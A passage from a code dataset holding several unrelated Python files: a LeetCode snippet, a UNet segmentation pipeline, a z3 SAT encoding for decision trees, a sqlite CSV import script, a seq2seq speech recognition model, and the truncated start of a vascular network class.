[2,2,2,1,4,3,3,9,6,7,19] \n print (relativeSortArray(arr1, arr2))\n","sub_path":"Leetcode/array/relative_array.py","file_name":"relative_array.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"214629135","text":"from functools import partial\n\nimport loaders\nfrom steps.base import Step, Dummy\nfrom steps.preprocessing.misc import XYSplit\nfrom utils import squeeze_inputs\nfrom models import PyTorchUNet, PyTorchUNetStream\nfrom postprocessing import Resizer, CategoryMapper, MulticlassLabeler, MaskDilator, \\\n ResizerStream, CategoryMapperStream, MulticlassLabelerStream, MaskDilatorStream\n\n\ndef unet(config, train_mode):\n if train_mode:\n save_output = False\n load_saved_output = False\n else:\n save_output = False\n load_saved_output = False\n\n loader = preprocessing(config, model_type='single', is_train=train_mode)\n unet = Step(name='unet',\n transformer=PyTorchUNetStream(**config.unet) if config.execution.stream_mode else PyTorchUNet(\n **config.unet),\n input_steps=[loader],\n cache_dirpath=config.env.cache_dirpath,\n save_output=save_output, load_saved_output=load_saved_output)\n\n mask_postprocessed = mask_postprocessing(unet, config, save_output=save_output)\n if config.postprocessor[\"dilate_selem_size\"] > 0:\n mask_postprocessed = Step(name='mask_dilation',\n transformer=MaskDilatorStream(\n **config.postprocessor) if config.execution.stream_mode else MaskDilator(\n **config.postprocessor),\n input_steps=[mask_postprocessed],\n adapter={'images': ([(mask_postprocessed.name, 'categorized_images')]),\n },\n cache_dirpath=config.env.cache_dirpath,\n save_output=save_output,\n load_saved_output=False)\n detached = multiclass_object_labeler(mask_postprocessed, config, save_output=save_output)\n output = Step(name='output',\n transformer=Dummy(),\n input_steps=[detached],\n adapter={'y_pred': ([(detached.name, 'labeled_images')]),\n },\n cache_dirpath=config.env.cache_dirpath,\n save_output=save_output,\n load_saved_output=False)\n return output\n\n\ndef preprocessing(config, model_type, is_train, loader_mode=None):\n if model_type == 'single':\n loader = _preprocessing_single_generator(config, is_train, loader_mode)\n elif model_type == 'multitask':\n loader = _preprocessing_multitask_generator(config, is_train, loader_mode)\n else:\n raise NotImplementedError\n return loader\n\n\ndef multiclass_object_labeler(postprocessed_mask, config, save_output=True):\n labeler = Step(name='labeler',\n transformer=MulticlassLabelerStream() if config.execution.stream_mode else MulticlassLabeler(),\n input_steps=[postprocessed_mask],\n adapter={'images': ([(postprocessed_mask.name, 'categorized_images')]),\n },\n cache_dirpath=config.env.cache_dirpath,\n save_output=save_output)\n return labeler\n\n\ndef _preprocessing_single_generator(config, is_train, use_patching):\n if use_patching:\n raise NotImplementedError\n else:\n if is_train:\n xy_train = Step(name='xy_train',\n transformer=XYSplit(**config.xy_splitter),\n input_data=['input'],\n adapter={'meta': ([('input', 'meta')]),\n 'train_mode': ([('input', 'train_mode')])\n },\n cache_dirpath=config.env.cache_dirpath)\n\n xy_inference = Step(name='xy_inference',\n transformer=XYSplit(**config.xy_splitter),\n input_data=['input'],\n adapter={'meta': ([('input', 'meta_valid')]),\n 'train_mode': ([('input', 'train_mode')])\n },\n cache_dirpath=config.env.cache_dirpath)\n\n loader = Step(name='loader',\n transformer=loaders.MetadataImageSegmentationLoader(**config.loader),\n input_data=['input'],\n input_steps=[xy_train, xy_inference],\n adapter={'X': ([('xy_train', 'X')], squeeze_inputs),\n 'y': ([('xy_train', 'y')], squeeze_inputs),\n 'train_mode': ([('input', 'train_mode')]),\n 'X_valid': ([('xy_inference', 'X')], squeeze_inputs),\n 'y_valid': ([('xy_inference', 'y')], squeeze_inputs),\n },\n cache_dirpath=config.env.cache_dirpath)\n else:\n xy_inference = Step(name='xy_inference',\n transformer=XYSplit(**config.xy_splitter),\n input_data=['input'],\n adapter={'meta': ([('input', 'meta')]),\n 'train_mode': ([('input', 'train_mode')])\n },\n cache_dirpath=config.env.cache_dirpath)\n\n loader = Step(name='loader',\n transformer=loaders.MetadataImageSegmentationLoader(**config.loader),\n input_data=['input'],\n input_steps=[xy_inference, xy_inference],\n adapter={'X': ([('xy_inference', 'X')], squeeze_inputs),\n 'y': ([('xy_inference', 'y')], squeeze_inputs),\n 'train_mode': ([('input', 'train_mode')]),\n },\n cache_dirpath=config.env.cache_dirpath)\n return loader\n\n\ndef _preprocessing_multitask_generator(config, is_train, use_patching):\n if use_patching:\n raise NotImplementedError\n else:\n if is_train:\n xy_train = Step(name='xy_train',\n transformer=XYSplit(**config.xy_splitter_multitask),\n input_data=['input'],\n adapter={'meta': ([('input', 'meta')]),\n 'train_mode': ([('input', 'train_mode')])\n },\n cache_dirpath=config.env.cache_dirpath)\n\n xy_inference = Step(name='xy_inference',\n transformer=XYSplit(**config.splitter_config),\n input_data=['input'],\n adapter={'meta': ([('input', 'meta_valid')]),\n 'train_mode': ([('input', 'train_mode')])\n },\n cache_dirpath=config.env.cache_dirpath)\n\n loader = Step(name='loader',\n transformer=loaders.MetadataImageSegmentationMultitaskLoader(**config.loader),\n input_data=['input'],\n input_steps=[xy_train, xy_inference],\n adapter={'X': ([('xy_train', 'X')], squeeze_inputs),\n 'y': ([('xy_train', 'y')]),\n 'train_mode': ([('input', 'train_mode')]),\n 'X_valid': ([('xy_inference', 'X')], squeeze_inputs),\n 'y_valid': ([('xy_inference', 'y')]),\n },\n cache_dirpath=config.env.cache_dirpath)\n else:\n xy_inference = Step(name='xy_inference',\n transformer=XYSplit(**config.xy_splitter_multitask),\n input_data=['input'],\n adapter={'meta': ([('input', 'meta')]),\n 'train_mode': ([('input', 'train_mode')])\n },\n cache_dirpath=config.env.cache_dirpath)\n\n loader = Step(name='loader',\n transformer=loaders.MetadataImageSegmentationMultitaskLoader(**config.loader),\n input_data=['input'],\n input_steps=[xy_inference, xy_inference],\n adapter={'X': ([('xy_inference', 'X')], squeeze_inputs),\n 'y': ([('xy_inference', 'y')], squeeze_inputs),\n 'train_mode': ([('input', 'train_mode')]),\n },\n cache_dirpath=config.env.cache_dirpath)\n return loader\n\n\ndef mask_postprocessing(model, config, save_output=False):\n mask_resize = Step(name='mask_resize',\n transformer=ResizerStream() if config.execution.stream_mode else Resizer(),\n input_data=['input'],\n input_steps=[model],\n adapter={'images': ([(model.name, 'multichannel_map_prediction')]),\n 'target_sizes': ([('input', 'target_sizes')]),\n },\n cache_dirpath=config.env.cache_dirpath,\n save_output=save_output)\n category_mapper = Step(name='category_mapper',\n transformer=CategoryMapperStream() if config.execution.stream_mode else CategoryMapper(),\n input_steps=[mask_resize],\n adapter={'images': ([('mask_resize', 'resized_images')]),\n },\n cache_dirpath=config.env.cache_dirpath,\n save_output=save_output)\n return category_mapper\n\n\nPIPELINES = {'unet': {'train': partial(unet, train_mode=True),\n 'inference': partial(unet, train_mode=False),\n },\n }\n","sub_path":"pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":10272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"604367921","text":"#!/usr/bin/env python3\n# File: stub.py\n# Author: mikolas\n# Created on: Sat Oct 12 10:30:54 WEST 2019\n# Copyright (C) 2019, Mikolas Janota\n\nimport sys, subprocess\nimport itertools\nimport re\nfrom z3 import *\n\n\ndef neg(l): return l[1:] if l[0] == '-' else '-' + l\n\n\ndef var(l): return l[1:] if l[0] == '-' else l\n\n\ndef sign(l): return l[0] == '-'\n\n\n\nclass Enc:\n def __init__(self, features_count, node_count):\n self.node_count = node_count\n self.features_count = features_count\n self.constraints = []\n self.fresh = 0\n self.class_indice = features_count\n\n def x(self, i):\n return 'x_{}'.format(i)\n\n def y(self, i):\n return 'y_{}'.format(i)\n\n # sequential counter variable\n def s(self, var, j):\n return 's_{}_{}'.format(var, j)\n\n # TUDO AQUI ESTA NO FORMATO APRESENTADO NO PDF\n # leaf nodes\n def v(self, i):\n return 'v_{}'.format(i)\n\n # left child - if node i has node j as left child\n def l(self, i, j):\n return 'l_{}_{}'.format(i, j)\n\n # right child - if node i has node j as right child\n def r(self, i, j):\n return 'r_{}_{}'.format(i, j)\n\n # parent node - if node i is parent of node j\n def p(self, j, i):\n return 'p_{}_{}'.format(j, i)\n\n # if feature fr is assigned to node j\n def a(self, r, j):\n return 'a_{}_{}'.format(r, j)\n\n # if feature fr is being discriminated against by node j\n def u(self, r, j):\n return 'u_{}_{}'.format(r, j)\n\n # if feature fr is discriminated for value 0 or 1 by node j, or by one of its ancestors\n def drj(self, i, r, j):\n return 'd{}_{}_{}'.format(i, r, j)\n\n # if feature fr is discriminated for value 1 by node j, or by one of its ancestors\n # 1 iff class of leaf node j is 1\n def c(self, j):\n return 'c_{}'.format(j)\n\n # list of consecutive numbers that represent\n # possible left node children of node i\n def LR(self, i):\n l = []\n for n in range(i + 1, min(2 * i, self.node_count - 1) + 1):\n if n % 2 == 0: # even numbers\n l.append(n)\n return l\n\n # possible right node children of node i\n\n def RR(self, i):\n l = []\n for n in range(i + 2, min(2 * i + 1, self.node_count) + 1):\n if n % 2 != 0: # odd numbers\n l.append(n)\n return l\n\n # NOT IN PDF TABLE 2 BUT IN THE TEXT\n\n def PC(self, i): # ALL POSSIBLE CHILDREN of node i\n l = []\n for n in range(i + 1, min(2 * i + 1, self.node_count) + 1):\n l.append(n)\n return l\n\n # TODO\n\n def print_model(self, model):\n for var in model:\n str_var = str(var)\n striped_var = re.split('_', str_var)\n f_str_var = striped_var[0]\n if model[var]:\n if f_str_var == 'l' or f_str_var == 'r' or f_str_var == 'a':\n print('{} {} {}'.format(striped_var[0], striped_var[1], striped_var[2]))\n if f_str_var == 'c' and model[Bool(self.v(striped_var[1]))]:\n if model[var]:\n print('{} {} 1'.format(striped_var[0], striped_var[1]))\n if not model[var]:\n striped_var = re.split('_', str_var)\n print('{} {} 0'.format(striped_var[0], striped_var[1]))\n # print('# === end of tree')\n\n # TODO\n\n def enc(self, samples):\n '''encode the problem'''\n ''' professor examples '''\n # -x1 | -x2\n # self.add_constraint([neg(self.x(1)), neg(self.x(2))])\n # x1 | x2\n # self.add_constraint([self.x(1), self.x(2)])\n # x1 <=> x2\n # self.add_iff(self.x(3), self.x(4))\n # y1 | (y2 & y3)\n # self.add_constraint([self.y(1), self.mk_and(self.y(2),self.y(3))])\n # -y1\n # self.add_constraint([neg(self.y(1))])\n '''another example of mine '''\n # x1 -> x2\n # self.add_imply(self.x(1), self.x(2))\n '''end of professor examples - start of real encoding '''\n '''encoding a valid binary tree'''\n solver = Solver()\n # leaf nodes\n # root node cannot be leaf since we assume a non-trivial problem (1)\n solver.add(Bool(self.v(1)) == False)\n solver.add(Bool(self.v(self.node_count)) == True)\n solver.add(Bool(self.v(self.node_count - 1)) == True)\n\n\n # if node is leaf then it cannot have children (2)\n for i in range(2, self.node_count + 1): # +1 because function range ends at MAX-1\n possible_left_children_indices = self.LR(i)\n for j in possible_left_children_indices:\n solver.add(Implies(Bool(self.v(i)), Not(Bool((self.l(i, j))))))\n\n # the left and right child of node i are numbered consecutively (3)\n for i in range(1, self.node_count + 1):\n possible_left_children_indices = self.LR(i)\n for j in possible_left_children_indices:\n solver.add(Bool(self.l(i, j)) == Bool(self.r(i, j + 1)))\n\n # a non leaf node must have a child (4)\n for i in range(1, self.node_count + 1):\n possible_left_children_indices = self.LR(i)\n possible_left_children = []\n for j in possible_left_children_indices:\n possible_left_children.append((Bool(self.l(i, j)), 1))\n if possible_left_children != []:\n solver.add(Implies(Not(Bool(self.v(i))), PbEq(possible_left_children, 1)))\n\n # if the ith node is a parent then it must have a child (5)\n for i in range(1, self.node_count + 1):\n possible_left_children_indices = self.LR(i)\n for j in possible_left_children_indices:\n solver.add(Bool(self.p(j, i)) == Bool(self.l(i, j)))\n possible_right_children_indices = self.RR(i)\n for j in possible_right_children_indices:\n solver.add(Bool(self.p(j, i)) == Bool(self.r(i, j)))\n\n # the binary tree must be a tree, hence all nodes but the first must have a parent (6)\n for j in range(2, self.node_count + 1):\n possible_parents = []\n for i in range(j // 2, min(j - 1, self.node_count) + 1):\n possible_parents.append((Bool(self.p(j, i)), 1))\n solver.add(PbEq(possible_parents, 1))\n\n\n # computing decision tree with sat\n # discriminate a feature for value 0 at node j, j = 2, . . . , N (7)\n for r in range(1, self.features_count + 1):\n value = 0\n solver.add(Bool(self.drj(value, r, 1)) == False)\n for j in range(2, self.node_count + 1):\n conj_list = []\n for i in range(j // 2, j):\n conj_list.append(And(Bool(self.p(j, i)), Bool(self.drj(value, r, i))))\n possible_right_children_indices = self.RR(i)\n if j in possible_right_children_indices:\n conj_list.append(And(Bool(self.a(r, i)), Bool(self.r(i, j))))\n disj_list = Or(conj_list)\n solver.add(Bool(self.drj(value, r, j)) == disj_list)\n\n # discriminate a feature for value 1 at node j, j = 2, . . . ,N (8)\n for r in range(1, self.features_count + 1):\n value = 1\n solver.add(Bool(self.drj(value, r, 1)) == False)\n for j in range(2, self.node_count + 1):\n conj_list = []\n for i in range(j // 2, j):\n conj_list.append(And(Bool(self.p(j, i)), Bool(self.drj(value, r, i))))\n possible_left_children_indices = self.LR(i)\n if j in possible_left_children_indices:\n conj_list.append(And(Bool(self.a(r, i)), Bool(self.l(i, j))))\n disj_list = Or(conj_list)\n solver.add(Bool(self.drj(value, r, j)) == disj_list)\n\n \n\n #Using a feature r at node j, with r = 1, . . . , K, j = 1, . . . ,N (9)\n for r in range(1, self.features_count + 1):\n for j in range (1, self.node_count + 1):\n list_1steq = []\n list_2ndeq = [Bool(self.a(r,j))]\n for i in range(j // 2, j):\n #1st eq conj add\n if i != 0:\n list_1steq.append(Implies(And(Bool(self.u(r,i)), Bool(self.p(j,i))), Not(Bool(self.a(r,j)))))\n list_2ndeq.append(And(Bool(self.u(r,i)), Bool(self.p(j,i))))\n #1st eq add\n if list_1steq != []:\n solver.add(And(list_1steq))\n solver.add(Bool(self.u(r,j)) == Or(list_2ndeq))\n\n\n # For a non-leaf node j, exactly one feature is used (10)\n for j in range(1, self.node_count + 1):\n possible_feature_in_node = []\n for r in range(1, self.features_count + 1):\n possible_feature_in_node.append((Bool(self.a(r, j)), 1))\n solver.add(Implies(Not(Bool(self.v(j))), PbEq(possible_feature_in_node, 1)))\n\n # For a leaf node j, no feature is used (11)\n for j in range(1, self.node_count + 1):\n possible_feature_in_node = []\n for r in range(1, self.features_count + 1):\n possible_feature_in_node.append((Bool(self.a(r, j)), 1))\n solver.add(Implies(Bool(self.v(j)), PbEq(possible_feature_in_node, 0)))\n\n\n # Let eq ∈ E+, and let the sign of the literal on feature fr for eq be σ(r, q) ∈ {0, 1}. For every leaf node j, j = 1, . . . ,N (12)\n for sample in samples:\n if sample[-1] == 0:\n for j in range(1, self.node_count + 1):\n list_or = []\n for r in range(1, self.features_count+1):\n list_or.append(Bool(self.drj(sample[r-1], r, j)))\n solver.add(Implies(And(Bool(self.v(j)), Bool(self.c(j))), Or(list_or)))\n\n if sample[-1] == 1:\n for j in range(1, self.node_count + 1):\n list_or = []\n for r in range(1, self.features_count +1):\n list_or.append(Bool(self.drj(sample[r-1], r, j)))\n solver.add(Implies(And(Bool(self.v(j)), Not(Bool(self.c(j)))), Or(list_or)))\n\n return solver\n\n\ndef parse(f):\n nms = None\n samples = []\n for l in f:\n s = l.rstrip().split()\n if not s: continue\n if nms:\n samples.append([int(l) for l in s])\n else:\n nms = [int(l) for l in s]\n return (nms, samples)\n\ndef recursive_binary_search(features, lower_bound, upper_bound, samples, iterations):\n sum = (lower_bound + upper_bound)\n nodes_to_try = sum / 2\n if nodes_to_try % 2 == 0:\n nodes_to_try -= 1\n nodes_to_try = int(nodes_to_try)\n print(\"# trying with lowerbound = {} upperbound = {} nodes_to_try = {} \".format(lower_bound,upper_bound,nodes_to_try))\n e = Enc(features, nodes_to_try)\n constraints = e.enc(samples)\n\n # caso de paragem\n if upper_bound == (lower_bound+2) and constraints.check() == sat:\n print(\"# model found with {} nodes\".format(nodes_to_try))\n print(\"# encoded constraints\")\n print(constraints)\n print(\"# END encoded constraints\")\n print(\"# printing model\")\n print(constraints.model())\n print(\"#printing graph\")\n e.print_model(constraints.model())\n return sat, iterations\n\n elif upper_bound == (lower_bound+2) and constraints.check() == unsat:\n e = Enc(features, upper_bound)\n constraints = e.enc(samples)\n if constraints.check() == sat:\n print(\"# model found with {} nodes\".format(nodes_to_try + 2))\n print(\"# encoded constraints\")\n print(constraints)\n print(\"# END encoded constraints\")\n print(\"# printing model\")\n print(constraints.model())\n print(\"#printing graph\")\n e.print_model(constraints.model())\n return sat, iterations\n else:\n return unsat, iterations\n\n #case de recursao sat - update upper bound\n if constraints.check() == sat:\n print(\"#update upper bound = {}\".format(nodes_to_try))\n return recursive_binary_search(features, lower_bound, nodes_to_try, samples, iterations + 1)\n\n #caso de recursao unsat - update lower bound\n if constraints.check() == unsat:\n print(\"#update lower bound = {}\".format(nodes_to_try))\n return recursive_binary_search(features, nodes_to_try, upper_bound, samples, iterations + 1)\n\ndef get_model(lns):\n vals = dict()\n found = False\n for l in lns:\n l = l.rstrip()\n if not l: continue\n if not l.startswith('v ') and not l.startswith('V '): continue\n found = True\n vs = l.split()[1:]\n for v in vs:\n if v == '0': break\n vals[int(var(v))] = not sign(v)\n return vals if found else None\n\n\nif __name__ == \"__main__\":\n print(\"# reading from stdin\")\n nms, samples = parse(sys.stdin)\n print(\"# encoding\")\n lower_bound = 3\n upper_bound = (2 * nms[0]) + 1\n found, iterations = recursive_binary_search(nms[0], lower_bound, upper_bound, samples, 0)\n nodes_to_try = upper_bound\n if found != sat:\n print(\"# model not found within pre-established limits, starting linear search on search space\")\n while found != sat:\n nodes_to_try += 2\n print(\"# trying with {}\".format(nodes_to_try))\n iterations += 1\n e = Enc(nms[0], nodes_to_try)\n constraints = e.enc(samples)\n found = constraints.check()\n print(\"# model found with {} nodes\".format(nodes_to_try))\n print(\"# encoded constraints\")\n print(constraints)\n print(\"# END encoded constraints\")\n print(\"# printing model\")\n print(constraints.model())\n print(\"#printing graph\")\n e.print_model(constraints.model())\n\n\n\n print(\"# number of iterations = {}\".format(iterations))\n","sub_path":"1Sem1Ano/ALC/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":13996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"296566991","text":"import pandas as pd\nimport sqlite3\nimport time\nfrom datetime import date\n\n#method insert data credit\ndef insert_data_credit(x):\n # Insert data to credit table\n cursor.execute(\"\"\"\n INSERT INTO credit (id, summ)\n VALUES ({}, {})\n \"\"\".format(x['Deal ID'],x['Summ of credit']))\n return\n\n#method convert date from MM.yyyy in unix format\ndef get_timestamp(x):\n # Calc date in unix format\n date_arr = x.split(\".\")\n d = date(int(date_arr[1]), int(date_arr[0]), 1)\n unixtime = time.mktime(d.timetuple())\n return unixtime\n \n#method insert data credit\ndef insert_data_payment(x):\n k = x.keys()\n i = 2\n while i < len(x):\n # Insert data to payment table\n cursor.execute(\"\"\"\n INSERT INTO payment (pdate, summ, deal_id)\n VALUES ({}, {}, {})\n \"\"\".format(get_timestamp(k[i]),x[i],x['Deal ID']))\n i = i+1\n return\n\ndef create_db(cursor):\n # Create table credit\n cursor.execute(\"\"\"CREATE TABLE credit\n (\n id INTEGER PRIMARY KEY, \n summ REAL NOT NULL\n )\n \"\"\")\n \n # Create table payment\n cursor.execute(\"\"\"CREATE TABLE payment\n (\n id INTEGER PRIMARY KEY, \n pdate INTEGER NOT NULL,\n summ REAL NOT NULL, \n deal_id INTEGER NOT NULL, \n FOREIGN KEY (deal_id) REFERENCES credit(id)\n )\n \"\"\")\n \n data = pd.read_csv('data.csv',';')\n data.apply(insert_data_credit, axis=1)\n data.apply(insert_data_payment, axis=1)\n\n \nconn = sqlite3.connect(\"mydatabase.db\") # or :memory: to save in RAM\ncursor = conn.cursor()\n\ncreate_db(cursor)\nconn.commit()\n\nsql = \"SELECT * FROM payment WHERE deal_id=?\"\ncursor.execute(sql, [(\"4\")])\nprint(cursor.fetchall()) # or use fetchone()\n","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"554056784","text":"import os\nimport random\nimport numpy as np\nfrom PIL import Image\nfrom torch.utils import data\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision.models as models\nimport torchvision.transforms as transforms\nfrom tqdm import tqdm\nfrom sklearn.preprocessing import OneHotEncoder, LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nimport pickle\nfrom torch.autograd import Variable\nimport csv\n\nfrom torch.utils.data import Dataset, DataLoader\nimport time \n#from phoneme_list import *\n#from ctcdecode import CTCBeamDecoder\nfrom torch.nn import CTCLoss\nimport Levenshtein as Lev\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device(\"cuda:0\" if use_cuda else \"cpu\")\n\n\nletter_list = ['', ' ', \"'\", '+', '-', '.','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q',\\\n 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','_','']\n\nletter_to_index= {'': 0, ' ': 1, \"'\": 2, '+': 3, '-': 4, '.': 5, 'A': 6, 'B': 7, 'C': 8, 'D': 9, 'E': 10, 'F': 11, \\\n 'G': 12, 'H': 13, 'I': 14, 'J': 15, 'K': 16, 'L': 17, 'M': 18, 'N': 19, 'O': 20, 'P': 21, 'Q': 22, 'R': 23,\\\n 'S': 24, 'T': 25, 'U': 26, 'V': 27, 'W': 28, 'X': 29, 'Y': 30, 'Z': 31, '_': 32,'':33}\n\nclass Encoder(nn.Module):\n def __init__(self, input_dimension, hidden_dimension,value_size=128,key_size=128,dropout=0):\n\n super(Encoder,self).__init__()\n #self.rnn_unit=getattr(nn,'LSTM'.upper())\n self.n_layers=3\n \n self.lstm_layer_1=nn.LSTM(input_dimension ,hidden_dimension,1,bidirectional=True,batch_first=True)\n self.lstm_layer_2=nn.LSTM(hidden_dimension*2 ,hidden_dimension,1,bidirectional=True,batch_first=True)\n self.lstm_layer_3=nn.LSTM(hidden_dimension*2 ,hidden_dimension,1,bidirectional=True,batch_first=True)\n self.lstm_layer_4=nn.LSTM(hidden_dimension*2, hidden_dimension,1,bidirectional=True,batch_first=True) \n \n \n \n self.layers=[self.lstm_layer_2,self.lstm_layer_3,self.lstm_layer_4]\n \n self.key_network=nn.Linear(hidden_dimension *2 , value_size)\n nn.init.xavier_normal_(self.key_network.weight)\n self.value_network=nn.Linear(hidden_dimension * 2, key_size)\n nn.init.xavier_normal_(self.value_network.weight)\n\n\n print (self.key_network)\n print (self.value_network)\n #self.key_network = nn.Linear(hidden_dimension*2, key_size)\n #self.value_network = nn.Linear(hidden_dimension*2, value_size)\n \n \n def forward(self,frames,sequence_length):\n #print (\"Input shape\",frames.shape)\n input_data= frames.permute(1,0,2).contiguous()\n \n input_data = nn.utils.rnn.pack_padded_sequence(input_data, lengths=sequence_length, batch_first=True, enforce_sorted=False)\n output,_ = self.lstm_layer_1(input_data)\n \n \n for i in range (self.n_layers):\n #batch, seq_len , dimensions=output_data.shape\n output,_ =self.layers[i](output)\n unpacked_tensor,unpack_len=nn.utils.rnn.pad_packed_sequence(output,batch_first=True)\n \n if unpacked_tensor.shape[1] % 2 == 0:\n pass\n else:\n ##Something to make it even otherwise error comes in the next step\n unpacked_tensor=unpacked_tensor[ :, :-1 ,:]\n\n batch_size,seq_len,dimensions= unpacked_tensor.shape\n \n unpacked_tensor=unpacked_tensor.unsqueeze(2).reshape(batch_size, seq_len//2 ,2, dimensions)\n\n output= unpacked_tensor.mean(dim=2)\n \n output=nn.utils.rnn.pack_padded_sequence(output,lengths=unpack_len//2,batch_first=True,enforce_sorted=False)\n \n \n #keys=self.key_network(output)\n #values=self.value_network(output)\n output, _ = nn.utils.rnn.pad_packed_sequence(output, batch_first=True)\n output = output.transpose(1,0)\n keys = self.key_network(output)\n values= self.value_network(output)\n \n out_seq_len= [size // (2*2*2) for size in sequence_length]\n #print (output.shape,out_seq_len)\n \n return keys,values, out_seq_len\n\n\nclass Attention (nn.Module):\n def __init__(self):\n super(Attention,self).__init__()\n\n def forward (self, query, key, value, lengths):\n lengths=torch.Tensor(lengths).long()\n \"Key is encoder output \"\n \"Query is decoder output\"\n \"Value is context\"\n\n #attention = torch.bmm(context, query.unsqueeze(2)).squeeze(2)\n energy = torch.bmm (key.transpose(1,0), query.unsqueeze(2)).squeeze(2)\n\n mask = torch.arange(key.size(0)).unsqueeze(0) >= lengths.unsqueeze(1)\n\n energy.masked_fill_(mask.to(device), -1e9)\n attention = nn.functional.softmax(energy, dim=1)\n \n out = torch.bmm(attention.unsqueeze(1), value.transpose(1,0)).squeeze(1)\n #print (attention.shape, out.shape)\n #input ('')\n \" out is context\"\n return attention, out \n\n \n \n return attention_score, context\ndef SequenceWise(input_module, input_x):\n batch_size = input_x.size(0)\n time_steps = input_x.size(1)\n reshaped_x = input_x.contiguous().view(-1, input_x.size(-1))\n output_x = input_module(reshaped_x)\n return output_x.view(batch_size, time_steps, -1)\nclass Decoder(nn.Module):\n def __init__(self, vocab_size, hidden_size,value_size=128, key_size=128,context_size=128,isAttended=False): #Inititally key size was 128\n super(Decoder, self).__init__()\n \n self.embed = nn.Embedding(vocab_size, 256)\n self.lstm1 = nn.LSTMCell(256+ value_size, hidden_size)\n self.lstm2 = nn.LSTMCell(hidden_size,hidden_size)\n self.lstm3 = nn.LSTMCell(hidden_size,key_size)\n\n #self.attention = Attention_Block(key_query_dim=128, speller_query_dim=hidden_size, listener_feature=512, context_dim=128)\n self.isAttended=isAttended\n if self.isAttended:\n self.attention= Attention()\n\n \n \n \" Heree value size is same as the context size\"\n self.linear_out= nn.Linear ( key_size + value_size, key_size)\n self.dropout= nn.Dropout (0.3)\n self.character_prob = nn.Linear(key_size, vocab_size)\n \n def forward(self, keys, values, seq_lengths, text=None, train=True, teacher_force_rate=0.9):\n \n \" Remember key = listener_feature, context = seq_lengths , text=labels\"\n \"\"\"\n :param x: (N,), target tokens in the current timestep\n :param context: (N, T, H), encoded source sequences\n :param context_lengths: (N,) lengths of source sequences\n :param state: LSTM hidden states from the last timestep (or from the encoder for the first step)\n :returns: prediction of target tokens in the next timestep, LSTM hidden states of the current timestep, and attention vectors\n \"\"\"\n '''\n :param key :(T,N,key_size) Output of the Encoder Key projection layer\n :param values: (T,N,value_size) Output of the Encoder Value projection layer\n :param text: (N,text_len) Batch input of text with text_length\n :param train: Train or eval mode\n :return predictions: Returns the character perdiction probability \n '''\n #print (\"Input to decoder \",encoder_output.shape)\n \n\n\n #print (\"Length of text\",text.shape)\n \n batch_size=keys.shape[1]\n \n if text is None: #Testing mode if text is not present\n teacher_force_rate = 0\n teacher_force = True if np.random.random_sample() < teacher_force_rate else False\n \n #output_word,state=self.get_initial_state(batch_size)\n \n if train or text is not None:\n max_len= text.shape[1]\n embeddings= self.embed(text)\n \n else:\n max_len= 250\n \n\n #new_hidden_states = [None, None]\n prediction_list=[]\n attention_list=[]\n prediction= torch.zeros(batch_size,1).to(device) #First input \n hidden_states=[None,None,None]\n \n \n for i in range (max_len):\n if teacher_force and train :\n char_embed= embeddings[:,i,:]\n \"feeding the actual word is the character embeddings\"\n else:\n char_embed= self.embed(prediction.argmax(dim=1)) \n #char_embed= self.embed(torch.max(prediction,dim=1)[1])\n\n\n if i > 0:\n inp_1 = torch.cat ([char_embed,context],dim=1)\n else:\n inp_1 = torch.cat ([char_embed,values[-1,:,:]],dim=1)\n\n\n #out_word_embedding= self.embed (output_word) ##Getting the embedding \n hidden_states[0]= self.lstm1(inp_1,hidden_states[0])\n\n inp_2= hidden_states[0][0]\n \n hidden_states[1]= self.lstm2(inp_2,hidden_states[1])\n\n inp_3 = hidden_states[1][0]\n\n hidden_states[2] = self.lstm3(inp_3, hidden_states[2])\n\n output=hidden_states[2][0]\n #print (output.shape)\n attention, context= self.attention(output, keys, values, seq_lengths)\n \n prediction = self.linear_out ( torch. cat([ output, context], dim=1))\n prediction = self.dropout(prediction)\n prediction = self.character_prob(prediction)\n prediction_list.append(prediction.unsqueeze(1))\n attention_list.append(attention)\n #state=[new_hidden,new_cell]\n \n \n return torch.cat(prediction_list,dim=1) , attention_list\n \nclass Seq2Seq(nn.Module):\n def __init__(self,input_dim,vocab_size,encoder_hidden_dim,decoder_hidden_dim):# value_size=128, key_size=128,isAttended=False):\n super(Seq2Seq,self).__init__()\n 'hidden_dim is passed from main and is currently 256'\n\n self.encoder = Encoder(input_dim, encoder_hidden_dim) #Encoder will output of 512 dimensions if we feed 256 dimensions as hidden\n self.decoder = Decoder(vocab_size, decoder_hidden_dim,isAttended=True) #Here 256 is the decoder hidden dimensions not the encoder.\n\n def forward(self,speech_input, speech_len, text_input=None,train=True,teacher_force=0.9,max_len=250):\n key, value, seq_lengths = self.encoder(speech_input, speech_len)\n\n if train =='train':\n predictions,attention = self.decoder(key,value,seq_lengths,text_input,train=True,teacher_force_rate=teacher_force)\n \n elif train =='valid':\n predictions,attention = self.decoder(key,value,seq_lengths,text_input,train=False)\n \n elif train == 'test':\n predictions,attention = self.decoder(key,value,seq_lengths, text=None, train=False)\n \n \n return predictions,attention\n\n\n","sub_path":"speller2.py","file_name":"speller2.py","file_ext":"py","file_size_in_byte":10839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"628126500","text":"import networkx as nx\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass VascularNetwork():\n def __init__(self, fixed, leaves, r_init, f_init, p_init, edge_list):\n self.tree = nx.Graph()\n self.root_r = r_init\n self.r_0 = 0.5\n self.f_0 = f_init / len(leaves)\n self.p_0 = p_init\n self.k = 